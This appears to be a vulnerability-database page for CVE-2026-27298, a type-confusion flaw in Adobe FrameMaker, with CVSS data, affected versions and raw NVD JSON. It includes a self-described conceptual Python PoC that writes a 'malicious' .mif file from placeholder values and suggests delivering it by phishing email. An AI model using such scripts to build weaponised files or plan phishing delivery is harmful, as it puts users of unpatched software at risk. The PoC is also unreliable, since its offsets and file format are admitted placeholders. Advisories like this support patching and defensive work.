Security Vulnerability Report
中文
CVE-2026-27298 CVSS 7.8 HIGH

CVE-2026-27298

Published: 2026-04-14 23:16:27
Last Modified: 2026-04-15 17:36:56

Description

Adobe Framemaker versions 2022.8 and earlier are affected by an Access of Resource Using Incompatible Type ('Type Confusion') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Framemaker <= 2022.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-27298 (Type Confusion) This script generates a malformed file structure intended to trigger the type confusion vulnerability in Adobe Framemaker. Note: Actual offset and payload require binary analysis. """ import struct def generate_malicious_file(filename): # Header for a supported Framemaker format (simplified) header = b'\x00\x00\x00\x00MIF_FILE' # Malicious Section designed to cause Type Confusion # Crafting a specific object structure that the parser misinterprets # Offset 0x10: Fake Object Pointer # Offset 0x14: Corrupted Type ID (e.g., treating an integer as a pointer) malicious_payload = struct.pack('<Q', 0x4141414141414141) # Dummy address malicious_payload += struct.pack('<I', 0xdeadbeef) # Invalid Type ID # Padding to reach the vulnerable parsing routine padding = b'A' * 100 with open(filename, 'wb') as f: f.write(header + malicious_payload + padding) print(f"[+] Malicious file generated: {filename}") print(f"[+] Delivery method: Phishing email with attachment.") if __name__ == "__main__": generate_malicious_file("exploit_cve_2026_27298.mif")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27298", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:26.930", "lastModified": "2026-04-15T17:36:56.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Framemaker versions 2022.8 and earlier are affected by an Access of Resource Using Incompatible Type ('Type Confusion') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "2022.9", "matchCriteriaId": "6943B816-3A7D-47BF-9E01-DF86C9332C19"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/framemaker/apsb26-36.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}